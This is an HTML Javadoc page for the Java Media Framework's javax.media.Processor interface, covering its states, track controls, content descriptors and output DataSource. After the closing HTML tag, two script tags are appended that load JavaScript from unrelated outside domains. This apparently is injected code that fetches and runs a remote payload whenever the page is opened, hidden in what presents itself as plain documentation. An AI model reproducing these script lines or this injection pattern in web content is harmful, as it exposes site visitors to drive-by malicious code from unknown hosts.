📄 processor.html
字号:
<BR> Gets the output <code>DataSource</code> from the <code>Processor</code>.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A>[]</CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Processor.html#getSupportedContentDescriptors()">getSupportedContentDescriptors</A></B>()</CODE><BR> Gets all of the content types that this <code>Processor</code> can output.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../javax/media/control/TrackControl.html">TrackControl</A>[]</CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Processor.html#getTrackControls()">getTrackControls</A></B>()</CODE><BR> Gets a <code>TrackControl</code> for each track in the media stream.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../javax/media/Processor.html#setContentDescriptor(javax.media.protocol.ContentDescriptor)">setContentDescriptor</A></B>(<A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> outputContentDescriptor)</CODE><BR> Sets the output content-type for this <code>Processor</code>.</TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Player"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Player.html">Player</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Player.html#addController(javax.media.Controller)">addController</A>, <A HREF="../../javax/media/Player.html#getControlPanelComponent()">getControlPanelComponent</A>, <A HREF="../../javax/media/Player.html#getGainControl()">getGainControl</A>, <A HREF="../../javax/media/Player.html#getVisualComponent()">getVisualComponent</A>, <A HREF="../../javax/media/Player.html#removeController(javax.media.Controller)">removeController</A>, <A HREF="../../javax/media/Player.html#start()">start</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.MediaHandler"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/MediaHandler.html">MediaHandler</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/MediaHandler.html#setSource(javax.media.protocol.DataSource)">setSource</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Controller"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Controller.html">Controller</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Controller.html#addControllerListener(javax.media.ControllerListener)">addControllerListener</A>, <A HREF="../../javax/media/Controller.html#close()">close</A>, <A HREF="../../javax/media/Controller.html#deallocate()">deallocate</A>, <A HREF="../../javax/media/Controller.html#getControl(java.lang.String)">getControl</A>, <A HREF="../../javax/media/Controller.html#getControls()">getControls</A>, <A HREF="../../javax/media/Controller.html#getStartLatency()">getStartLatency</A>, <A HREF="../../javax/media/Controller.html#getState()">getState</A>, <A HREF="../../javax/media/Controller.html#getTargetState()">getTargetState</A>, <A HREF="../../javax/media/Controller.html#prefetch()">prefetch</A>, <A HREF="../../javax/media/Controller.html#realize()">realize</A>, <A HREF="../../javax/media/Controller.html#removeControllerListener(javax.media.ControllerListener)">removeControllerListener</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Clock"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Clock.html">Clock</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Clock.html#getMediaNanoseconds()">getMediaNanoseconds</A>, <A HREF="../../javax/media/Clock.html#getMediaTime()">getMediaTime</A>, <A HREF="../../javax/media/Clock.html#getRate()">getRate</A>, <A HREF="../../javax/media/Clock.html#getStopTime()">getStopTime</A>, <A HREF="../../javax/media/Clock.html#getSyncTime()">getSyncTime</A>, <A HREF="../../javax/media/Clock.html#getTimeBase()">getTimeBase</A>, <A HREF="../../javax/media/Clock.html#mapToTimeBase(javax.media.Time)">mapToTimeBase</A>, <A HREF="../../javax/media/Clock.html#setMediaTime(javax.media.Time)">setMediaTime</A>, <A HREF="../../javax/media/Clock.html#setRate(float)">setRate</A>, <A HREF="../../javax/media/Clock.html#setStopTime(javax.media.Time)">setStopTime</A>, <A HREF="../../javax/media/Clock.html#setTimeBase(javax.media.TimeBase)">setTimeBase</A>, <A HREF="../../javax/media/Clock.html#stop()">stop</A>, <A HREF="../../javax/media/Clock.html#syncStart(javax.media.Time)">syncStart</A></CODE></TD></TR></TABLE> <A NAME="methods_inherited_from_class_javax.media.Duration"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"><TD><B>Methods inherited from interface javax.media.<A HREF="../../javax/media/Duration.html">Duration</A></B></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD><CODE><A HREF="../../javax/media/Duration.html#getDuration()">getDuration</A></CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="Configuring"><!-- --></A><H3>Configuring</H3><PRE>public static final int <B>Configuring</B></PRE><DL><DD>Returned by <code>getState</code>.</DL><HR><A NAME="Configured"><!-- --></A><H3>Configured</H3><PRE>public static final int <B>Configured</B></PRE><DL><DD>Returned by <code>getState</code>.</DL><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="configure()"><!-- --></A><H3>configure</H3><PRE>public void <B>configure</B>()</PRE><DL><DD>Prepares the <code>Processor</code> to be programmed. The <code>Processor</code> gathers information about the data it is going to process. Calling <code>configure</code> puts the <code>Processor</code> into the <i>Configuring</i> state and returns immediately. When this process is complete and the <code>Processor</code> is in the <i>Configured</i> state, the <code>Processor</code> posts a <code>ConfigureCompleteEvent</code>.<DD><DL></DL></DD></DL><HR><A NAME="getTrackControls()"><!-- --></A><H3>getTrackControls</H3><PRE>public <A HREF="../../javax/media/control/TrackControl.html">TrackControl</A>[] <B>getTrackControls</B>() throws <A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A></PRE><DL><DD>Gets a <code>TrackControl</code> for each track in the media stream. This method can only be called once the <code>Processor</code> has been configured.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>An array of <code>TrackControl</code> objects. An empty array is returned if there is no <code>TrackControl</code> available for this <code>Processor</code>.<DT><B>Throws:</B><DD><A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A> - If the <code>Processor</code> is in the <i>Unrealized</i> or <i>Configuring</i> state.</DL></DD></DL><HR><A NAME="getSupportedContentDescriptors()"><!-- --></A><H3>getSupportedContentDescriptors</H3><PRE>public <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A>[] <B>getSupportedContentDescriptors</B>() throws <A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A></PRE><DL><DD>Gets all of the content types that this <code>Processor</code> can output. The <code>Processor</code> builds the <code>ContentDescriptor</code> array according to its input <code>DataSource</code> and the available codecs and multiplexers.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>An array of the content types supported by this <code>Processor</code>.<DT><B>Throws:</B><DD><A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A> - If the <code>Processor</code> is in the <i>Unrealized</i> or <i>Configuring</i> state.</DL></DD></DL><HR><A NAME="setContentDescriptor(javax.media.protocol.ContentDescriptor)"><!-- --></A><H3>setContentDescriptor</H3><PRE>public <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> <B>setContentDescriptor</B>(<A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> outputContentDescriptor) throws <A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A></PRE><DL><DD>Sets the output content-type for this <code>Processor</code>. If <code>setContentDescriptor</code> is not called, the output <code>DataSource</code> is set to raw output by default: <code>(new ContentDescriptor(ContentDescriptor.RAW))</code>. The source streams from the <code>DataSource</code> are the demultiplexed tracks from the input source.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>outputContentDescriptor</CODE> - The content type to be used for the <code>Processor</code> output.<DT><B>Returns:</B><DD>The content descriptor that most closely matches the specified content descriptor or null if the specified content descriptor cannot be set.<DT><B>Throws:</B><DD><A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A> - If the <code>Processor</code> is in the <i>Unrealized</i> or <i>Configuring</i> state.</DL></DD></DL><HR><A NAME="getContentDescriptor()"><!-- --></A><H3>getContentDescriptor</H3><PRE>public <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> <B>getContentDescriptor</B>() throws <A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A></PRE><DL><DD>Gets the output content-type currently set for this <code>Processor</code>.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The current output content-type.<DT><B>Throws:</B><DD><A HREF="../../javax/media/NotConfiguredError.html">NotConfiguredError</A> - If the <code>Processor</code> is in the <i>Unrealized</i> or <i>Configuring</i> state.</DL></DD></DL><HR><A NAME="getDataOutput()"><!-- --></A><H3>getDataOutput</H3><PRE>public <A HREF="../../javax/media/protocol/DataSource.html">DataSource</A> <B>getDataOutput</B>() throws <A HREF="../../javax/media/NotRealizedError.html">NotRealizedError</A></PRE><DL><DD>Gets the output <code>DataSource</code> from the <code>Processor</code>. The output <code>DataSource</code> is the output connection through which the processed streams are supplied. The output <code>DataSource</code> returned by the <code>Processor</code> is in the <i>Connected</I> state.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD><A HREF="../../javax/media/NotRealizedError.html">NotRealizedError</A> - If the <code>Processor</code> is has not yet been realized.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/Prefetchable.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/Renderer.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Processor.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -